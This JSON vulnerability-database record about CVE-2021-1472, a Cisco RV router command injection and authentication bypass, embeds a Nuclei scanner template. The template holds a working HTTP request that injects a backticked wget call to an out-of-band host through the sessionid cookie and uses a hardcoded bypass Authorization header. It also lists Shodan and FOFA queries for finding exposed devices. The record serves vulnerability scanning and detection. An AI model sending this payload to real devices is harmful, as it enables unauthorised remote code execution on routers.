{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2021-1472/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2021-1472/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2021-1472/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2021-1472/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2021-1472/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2021-1472"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2021-1472"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2021/CVE-2021-1472.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2021-1472\n\ninfo:\n  name: Cisco Small Business RV Series - OS Command Injection\n  author: gy741\n  severity: critical\n  description: |\n    Cisco Small Business RV Series routers RV16X/RV26X versions 1.0.01.02 and before and RV34X versions 1.0.03.20 and before contain multiple OS command injection vulnerabilities in the web-based management interface. A remote attacker can execute arbitrary OS commands via the sessionid cookie or bypass authentication and upload files on an affected device.\n  impact: |\n    Successful exploitation of this vulnerability can lead to unauthorized remote code execution, compromising the confidentiality, integrity, and availability of the affected device.\n  remediation: |\n    Apply the latest security patches or firmware updates provided by Cisco to mitigate this vulnerability.\n  reference:\n    - https://www.iot-inspector.com/blog/advisory-cisco-rv34x-authentication-bypass-remote-command-execution/\n    - https://packetstormsecurity.com/files/162238/Cisco-RV-Authentication-Bypass-Code-Execution.html\n    - https://nvd.nist.gov/vuln/detail/CVE-2021-1472\n    - https://nvd.nist.gov/vuln/detail/CVE-2021-1473\n    - http://seclists.org/fulldisclosure/2021/Apr/39\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2021-1472\n    cwe-id: CWE-287,CWE-119\n    epss-score: 0.72028\n    epss-percentile: 0.99403\n    cpe: cpe:2.3:o:cisco:rv160_firmware:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: cisco\n    product: rv160_firmware\n    shodan-query:\n      - http.html:\"Cisco rv340\"\n      - http.html:\"cisco rv340\"\n    fofa-query: body=\"cisco rv340\"\n  tags: cve2021,cve,packetstorm,seclists,auth-bypass,injection,cisco,rce,intrusive,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /upload HTTP/1.1\n        Host: {{Hostname}}\n        Cookie: sessionid='`wget http://{{interactsh-url}}`'\n        Authorization: QUt6NkpTeTE6dmk4cW8=\n        Content-Type: multipart/form-data; boundary=---------------------------392306610282184777655655237536\n\n        -----------------------------392306610282184777655655237536\n        Content-Disposition: form-data; name=\"option\"\n\n        5NW9Cw1J\n        -----------------------------392306610282184777655655237536\n        Content-Disposition: form-data; name=\"destination\"\n\n        J0I5k131j2Ku\n        -----------------------------392306610282184777655655237536\n        Content-Disposition: form-data; name=\"file.path\"\n\n        EKsmqqg0\n        -----------------------------392306610282184777655655237536\n        Content-Disposition: form-data; name=\"file\"; filename=\"config.xml\"\n        Content-Type: application/xml\n\n        qJ57CM9\n        -----------------------------392306610282184777655655237536\n        Content-Disposition: form-data; name=\"filename\"\n\n        JbYXJR74n.xml\n        -----------------------------392306610282184777655655237536\n        Content-Disposition: form-data; name=\"GXbLINHYkFI\"\n\n        <input><fileType>configuration</fileType><source><location-url>FILE://Configuration/config.xml</location-url></source><destination><config-type>config-running</config-type></destination></input>\n        -----------------------------392306610282184777655655237536--\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol\n        words:\n          - http\n\n      - type: word\n        part: body\n        words:\n          - '\"jsonrpc\":'\n# digest: 4a0a0047304502206cceb92d57a3e15534f1b4625c58f63c70271183d7e0fcc2e7b07dcd73191859022100a144e9c0b53d2774eee8f42316ec74c532b47659d75aaafae17f0aaad8399487:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2021-1472"
}